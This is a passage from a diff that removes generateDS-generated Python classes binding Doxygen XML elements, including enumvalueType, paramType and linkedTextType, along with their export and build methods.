hasattr(self, 'add_internal'): - self.add_internal(obj_.value) - elif hasattr(self, 'set_internal'): - self.set_internal(obj_.value) - elif nodeName_ == 'sect1': - obj_ = docSect1Type.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'sect1', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_sect1'): - self.add_sect1(obj_.value) - elif hasattr(self, 'set_sect1'): - self.set_sect1(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class descriptionType - - -class enumvalueType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, prot=None, name=None, initializer=None, briefdescription=None, detaileddescription=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - self.prot = _cast(None, prot) - self.prot_nsprefix_ = None - self.name = name - self.name_nsprefix_ = None - self.initializer = initializer - self.initializer_nsprefix_ = None - self.briefdescription = briefdescription - self.briefdescription_nsprefix_ = None - self.detaileddescription = detaileddescription - self.detaileddescription_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, enumvalueType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if enumvalueType.subclass: - return enumvalueType.subclass(*args_, **kwargs_) - else: - return enumvalueType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_initializer(self): - return self.initializer - def set_initializer(self, initializer): - self.initializer = initializer - def get_briefdescription(self): - return self.briefdescription - def set_briefdescription(self, briefdescription): - self.briefdescription = briefdescription - def get_detaileddescription(self): - return self.detaileddescription - def set_detaileddescription(self, detaileddescription): - self.detaileddescription = detaileddescription - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def get_prot(self): - return self.prot - def set_prot(self, prot): - self.prot = prot - def validate_DoxProtectionKind(self, value): - # Validate type DoxProtectionKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['public', 'protected', 'private', 'package'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxProtectionKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.name is not None or - self.initializer is not None or - self.briefdescription is not None or - self.detaileddescription is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='enumvalueType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('enumvalueType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'enumvalueType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='enumvalueType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='enumvalueType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='enumvalueType'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - if self.prot is not None and 'prot' not in already_processed: - already_processed.add('prot') - outfile.write(' prot=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.prot), input_name='prot')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='enumvalueType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.name is not None: - namespaceprefix_ = self.name_nsprefix_ + ':' if (UseCapturedNS_ and self.name_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.name), input_name='name')), namespaceprefix_ , eol_)) - if self.initializer is not None: - namespaceprefix_ = self.initializer_nsprefix_ + ':' if (UseCapturedNS_ and self.initializer_nsprefix_) else '' - self.initializer.export(outfile, level, namespaceprefix_, namespacedef_='', name_='initializer', pretty_print=pretty_print) - if self.briefdescription is not None: - namespaceprefix_ = self.briefdescription_nsprefix_ + ':' if (UseCapturedNS_ and self.briefdescription_nsprefix_) else '' - self.briefdescription.export(outfile, level, namespaceprefix_, namespacedef_='', name_='briefdescription', pretty_print=pretty_print) - if self.detaileddescription is not None: - namespaceprefix_ = self.detaileddescription_nsprefix_ + ':' if (UseCapturedNS_ and self.detaileddescription_nsprefix_) else '' - self.detaileddescription.export(outfile, level, namespaceprefix_, namespacedef_='', name_='detaileddescription', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - value = find_attr_value_('prot', node) - if value is not None and 'prot' not in already_processed: - already_processed.add('prot') - self.prot = value - self.validate_DoxProtectionKind(self.prot) # validate type DoxProtectionKind - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'name': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'name') - value_ = self.gds_validate_string(value_, node, 'name') - self.name = value_ - self.name_nsprefix_ = child_.prefix - elif nodeName_ == 'initializer': - obj_ = linkedTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.initializer = obj_ - obj_.original_tagname_ = 'initializer' - elif nodeName_ == 'briefdescription': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.briefdescription = obj_ - obj_.original_tagname_ = 'briefdescription' - elif nodeName_ == 'detaileddescription': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.detaileddescription = obj_ - obj_.original_tagname_ = 'detaileddescription' -# end class enumvalueType - - -class templateparamlistType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, param=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if param is None: - self.param = [] - else: - self.param = param - self.param_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, templateparamlistType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if templateparamlistType.subclass: - return templateparamlistType.subclass(*args_, **kwargs_) - else: - return templateparamlistType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_param(self): - return self.param - def set_param(self, param): - self.param = param - def add_param(self, value): - self.param.append(value) - def insert_param_at(self, index, value): - self.param.insert(index, value) - def replace_param_at(self, index, value): - self.param[index] = value - def hasContent_(self): - if ( - self.param - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='templateparamlistType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('templateparamlistType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'templateparamlistType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='templateparamlistType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='templateparamlistType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='templateparamlistType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='templateparamlistType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for param_ in self.param: - namespaceprefix_ = self.param_nsprefix_ + ':' if (UseCapturedNS_ and self.param_nsprefix_) else '' - param_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='param', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'param': - obj_ = paramType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.param.append(obj_) - obj_.original_tagname_ = 'param' -# end class templateparamlistType - - -class paramType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, attributes=None, type_=None, declname=None, defname=None, array=None, defval=None, typeconstraint=None, briefdescription=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.attributes = attributes - self.attributes_nsprefix_ = None - self.type_ = type_ - self.type__nsprefix_ = None - self.declname = declname - self.declname_nsprefix_ = None - self.defname = defname - self.defname_nsprefix_ = None - self.array = array - self.array_nsprefix_ = None - self.defval = defval - self.defval_nsprefix_ = None - self.typeconstraint = typeconstraint - self.typeconstraint_nsprefix_ = None - self.briefdescription = briefdescription - self.briefdescription_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, paramType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if paramType.subclass: - return paramType.subclass(*args_, **kwargs_) - else: - return paramType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_attributes(self): - return self.attributes - def set_attributes(self, attributes): - self.attributes = attributes - def get_type(self): - return self.type_ - def set_type(self, type_): - self.type_ = type_ - def get_declname(self): - return self.declname - def set_declname(self, declname): - self.declname = declname - def get_defname(self): - return self.defname - def set_defname(self, defname): - self.defname = defname - def get_array(self): - return self.array - def set_array(self, array): - self.array = array - def get_defval(self): - return self.defval - def set_defval(self, defval): - self.defval = defval - def get_typeconstraint(self): - return self.typeconstraint - def set_typeconstraint(self, typeconstraint): - self.typeconstraint = typeconstraint - def get_briefdescription(self): - return self.briefdescription - def set_briefdescription(self, briefdescription): - self.briefdescription = briefdescription - def hasContent_(self): - if ( - self.attributes is not None or - self.type_ is not None or - self.declname is not None or - self.defname is not None or - self.array is not None or - self.defval is not None or - self.typeconstraint is not None or - self.briefdescription is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='paramType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('paramType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'paramType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='paramType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='paramType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='paramType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='paramType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.attributes is not None: - namespaceprefix_ = self.attributes_nsprefix_ + ':' if (UseCapturedNS_ and self.attributes_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sattributes>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.attributes), input_name='attributes')), namespaceprefix_ , eol_)) - if self.type_ is not None: - namespaceprefix_ = self.type__nsprefix_ + ':' if (UseCapturedNS_ and self.type__nsprefix_) else '' - self.type_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='type', pretty_print=pretty_print) - if self.declname is not None: - namespaceprefix_ = self.declname_nsprefix_ + ':' if (UseCapturedNS_ and self.declname_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdeclname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.declname), input_name='declname')), namespaceprefix_ , eol_)) - if self.defname is not None: - namespaceprefix_ = self.defname_nsprefix_ + ':' if (UseCapturedNS_ and self.defname_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdefname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.defname), input_name='defname')), namespaceprefix_ , eol_)) - if self.array is not None: - namespaceprefix_ = self.array_nsprefix_ + ':' if (UseCapturedNS_ and self.array_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sarray>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.array), input_name='array')), namespaceprefix_ , eol_)) - if self.defval is not None: - namespaceprefix_ = self.defval_nsprefix_ + ':' if (UseCapturedNS_ and self.defval_nsprefix_) else '' - self.defval.export(outfile, level, namespaceprefix_, namespacedef_='', name_='defval', pretty_print=pretty_print) - if self.typeconstraint is not None: - namespaceprefix_ = self.typeconstraint_nsprefix_ + ':' if (UseCapturedNS_ and self.typeconstraint_nsprefix_) else '' - self.typeconstraint.export(outfile, level, namespaceprefix_, namespacedef_='', name_='typeconstraint', pretty_print=pretty_print) - if self.briefdescription is not None: - namespaceprefix_ = self.briefdescription_nsprefix_ + ':' if (UseCapturedNS_ and self.briefdescription_nsprefix_) else '' - self.briefdescription.export(outfile, level, namespaceprefix_, namespacedef_='', name_='briefdescription', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'attributes': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'attributes') - value_ = self.gds_validate_string(value_, node, 'attributes') - self.attributes = value_ - self.attributes_nsprefix_ = child_.prefix - elif nodeName_ == 'type': - obj_ = linkedTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.type_ = obj_ - obj_.original_tagname_ = 'type' - elif nodeName_ == 'declname': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'declname') - value_ = self.gds_validate_string(value_, node, 'declname') - self.declname = value_ - self.declname_nsprefix_ = child_.prefix - elif nodeName_ == 'defname': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'defname') - value_ = self.gds_validate_string(value_, node, 'defname') - self.defname = value_ - self.defname_nsprefix_ = child_.prefix - elif nodeName_ == 'array': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'array') - value_ = self.gds_validate_string(value_, node, 'array') - self.array = value_ - self.array_nsprefix_ = child_.prefix - elif nodeName_ == 'defval': - obj_ = linkedTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.defval = obj_ - obj_.original_tagname_ = 'defval' - elif nodeName_ == 'typeconstraint': - obj_ = linkedTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.typeconstraint = obj_ - obj_.original_tagname_ = 'typeconstraint' - elif nodeName_ == 'briefdescription': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.briefdescription = obj_ - obj_.original_tagname_ = 'briefdescription' -# end class paramType - - -class attributes(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, attributes) - if subclass is not None: - return subclass(*args_, **kwargs_) - if attributes.subclass: - return attributes.subclass(*args_, **kwargs_) - else: - return attributes(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='attributes', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('attributes') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'attributes': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='attributes') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='attributes', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='attributes'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='attributes', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class attributes - - -class declname(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, declname) - if subclass is not None: - return subclass(*args_, **kwargs_) - if declname.subclass: - return declname.subclass(*args_, **kwargs_) - else: - return declname(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='declname', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('declname') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'declname': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='declname') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='declname', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='declname'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='declname', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class declname - - -class defname(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, defname) - if subclass is not None: - return subclass(*args_, **kwargs_) - if defname.subclass: - return defname.subclass(*args_, **kwargs_) - else: - return defname(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='defname', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('defname') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'defname': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='defname') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='defname', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='defname'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='defname', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class defname - - -class array(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, array) - if subclass is not None: - return subclass(*args_, **kwargs_) - if array.subclass: - return array.subclass(*args_, **kwargs_) - else: - return array(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='array', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('array') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'array': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='array') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='array', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='array'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='array', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class array - - -class linkedTextType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, ref=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, linkedTextType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if linkedTextType.subclass: - return linkedTextType.subclass(*args_, **kwargs_) - else: - return linkedTextType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def 